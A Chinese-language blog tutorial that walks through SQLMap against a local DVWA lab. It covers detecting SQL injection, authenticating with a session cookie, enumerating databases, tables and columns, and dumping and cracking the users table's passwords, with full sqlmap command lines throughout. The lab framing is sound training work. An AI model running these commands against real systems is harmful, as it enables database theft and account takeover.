SQLMap 学习之路


实验环境:

  • kali Linux 系统和DVWA环境

SQLMap简介

SQLMap是一个开源的自动化SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,SQLMap内置了很多绕过插件(插件用法以后在补上),支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB,SQLMap强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。
SQLMap安装的时候需要依赖Python的环境,所以在安装SQLMap之前先看一下自己电脑上是否有Python的环境,最好是python 2x版本,python 3x版本对于SQLMap的支持不是很稳定,推荐大家在用SQLMap时使用Python2x版本,或者使用虚拟机安装kali linux系统,该系统里面集成了非常多的渗透测试工具,其自带了Python环境以及SQLMap及Nmap等工具(下面的演示是在kali系统中进行)。
SQLMap支持五种不同的注入模式:

  • 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
  • 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
  • 联合查询注入,可以使用union的情况下的注入;
  • 堆查询注入,可以同时执行多条语句的执行时的注入;

SQLMap官网及下载链接:http://sqlmap.org/
也可以使用python内置的pip自动安装sqlmap:pip install sqlmap

这里给大家找了一些环境搭建的教程,大家可以先点击跳转去搭建环境

SQLMap dvwa注入入门

判断目标链接是否存在注入: -u / -r

判断链接用法: sqlmap -u 判断的网页链接
判断文本请求:sqlmap -r 文件位置
本次实验的目标地址为本地的dvwa环境里面的SQL injection网页,登陆了dvwa界面后,先点击DVWA Security把环境的难度调节成最低low
1
在SQL injection界面有个User ID输入框,在输入框里面输入一个数字1即可:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
input 1
然后在kali linux终端中输入如下指令并且执行:
sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
2
当我们执行上面的指令后,下面提示的东西默认回车就可以了,当我们回车后会发现这里停止了我们的扫描,这是因为dvwa它是需要先登陆的,在这里我们可以发现它有个跳转的登陆链接http://127.0.0.1:80/dvwa/login.php3
当出现这种情况,需要登陆才能进行扫描,那么我们就需要用到sqlmap里面带登陆的扫描方式,这种方式就是借用cookie进行登陆。
那么如何才能获取这个网页的cookie呢?

cookie获取方法一:

这个时候,我们只需要点击火狐浏览器左上角链接位置处的一个感叹号(谷歌浏览器是一个锁),然后点击第一个选项右边的>符号,
4
然后在点击More Information处,
5
然后找到Security下面的View Cookies,
6
这里我们可以看到里面有两个cookie信息(注:cookie是变动的),这个时候我们只需要复制其Name和Content处的内容即可,先点击PHPSESSID,保存其Name和Content的内容,然后在点击security,同理,更具上面的操作我们可以获取其cookie内容,并且把获取的内容写成如下形式:

security=low;PHPSESSID=你的content内容
cookie获取方法二:

先打开dvwa的登陆界面
7
然后鼠标右键网页空白处,选择Inspect Elemnet(审查元素),打开开发者工具
8
然后点击开发者工具的Network界面,进行抓包
9
进入Network界面后,在网页上面输入dvwa的Username(admin)以及Password(passowrd)进行登陆,然后找到抓包下来的login.php文件,点击该文件的Cookies选择,即可获取其cookie内容。
10
这个时候我们就获取的需要用到的cookie信息,然后通过SQLMap里面的--cookie操作来进行cookie登陆,指令如下:

sqlmap -u 'http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="security=low;PHPSESSID=bl50qv3ia6r0093ivu6ivlm2hm"

然后在中间提示的地方默认回车,或者在指令处添加默认指令--batch即可;
11
在执行过程中我们可以发现这个链接是存在SQL注入的漏洞,然后接着往下走;
12
当执行完成后,我们可以获取一些信息,从这些信息中我们大概知道这个网站是用的MySQL数据库,并且是>=5.0版本的,以及Apache,服务器系统是linux Debian,也就是我们的kali系统;

查询当前用户下的所有数据库 --dbs

当我们知道这个网站是存在SQL注入之后,我们可以通过--dbs指令查询当前用户下的所有数据库,指令如下:

sqlmap -u 'http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="security=low;PHPSESSID=bl50qv3ia6r0093ivu6ivlm2hm" --dbs

13
14
我们发现的这个网站里面有6个数据库,可以发现dvwa就在其中;
当继续注入时,--dbs指令需要缩写成-D xxx,xxx为你要继续查询的数据库,比如我们要继续查询dvwa数据库里面的数据,那么就是-D dvwa

获取数据库中的表名 --tables

当我们通过--dbs知道了网站所有数据库名之后,我们要进行一下一步操作,也就是查询指定数据库中所有的表名,通过--tables指令查询表名;
如果我们不加入-D参数来指定某一个具体的数据库,那么SQLMap会列出数据库中所有库的表,这里我们指定查询dvwa数据库中的表,指令如下:

sqlmap -u 'http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="security=low;PHPSESSID=bl50qv3ia6r0093ivu6ivlm2hm" -D dvwa --tables

15
16
这里我们就获取来dvwa数据库中的所有表了,可以看到在dvwa数据库中有2个表,并且它还列出了2个表的名字,当我们继续注入时,--tables就需要缩写成-T xxx,意思是在某表中继续查询;

获取表中的字段名 --columns

当我们知道数据库中有那些表之后,我们就需要查看某些表中的字段名,以达到最终数据的获取,那么这里我们当然首选dvwa数据库中的users表了,因为我们可以从这个表中获取想要的用户名和密码;
查询字段名使用--columns,查询users表的指令如下:

sqlmap -u 'http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="security=low;PHPSESSID=bl50qv3ia6r0093ivu6ivlm2hm" -D dvwa -T users --columns

17
18
从这里我们可以发现在dvwa数据库的users表中有8个字段,我们可以从中发现user和password的字段,那么我们就可以通过这2个字段获取dvwa数据库中的所有用户名及其密码,当然如果我们继续注入,同样是把--columns缩写成-C xxx

获取字段内容 --dump

当我们知道dvwa数据库中users表的字段之后,我们就可以更具其字段的名字获取其字段的内容,可以通过--dump获取字段中具体的数据信息,这里我们获取的是users和password字段中的数据,以达到获取dvwa数据库中的所有用户及其密码,指令如下:

sqlmap -u 'http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="security=low;PHPSESSID=bl50qv3ia6r0093ivu6ivlm2hm" -D dvwa -T users -C user,password --dump

19
当运行到中途是会提示我们是否进行hash密码破解,因为数据库中但密码是加密了的,如果我们想要获取明文是需要进行解密,但是解密可能会花一些时间,如果你想获取其明文密码,可以默认回车;如果不想获取明文,直接获取加密密码然后在通过一些网站或者工具解密,输入n即可;
这里我选用解密;
20
当过一段时间后,它会把解密的内容输出,从这里我们就发现了在dvwa这个数据库中有5个用户,并且获取了其密码,比如我们知道的admin用户的密码是password,其中也列举出来了,并且它还将这个内容给我们保存到了它的一个文件中去;
这个时候我们来测试一下其他用户是否可以登陆,这里我选用第一个1337用户进行验证;
21
登陆成功!
22

SQLMap 其它常用指令
获取数据库的所有用户:

通过--users可以列出所有管理用户;

sqlmap -u 'http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="security=low;PHPSESSID=bl50qv3ia6r0093ivu6ivlm2hm" --users

23
24

获取数据库用户的密码:

可以通过--passowrds列出数据库用户的密码;

sqlmap -u 'http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="security=low;PHPSESSID=bl50qv3ia6r0093ivu6ivlm2hm" --passwords
获取当前网站数据库的名称:

通过--current-db查看当前网站使用的数据库名;

sqlmap -u 'http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="security=low;PHPSESSID=bl50qv3ia6r0093ivu6ivlm2hm" --current-db
获取当前数据库的用户名称:

通过--current-user查看当前网站使用的数据库用户;

sqlmap -u 'http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie="security=low;PHPSESSID=bl50qv3ia6r0093ivu6ivlm2hm" --current-user
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值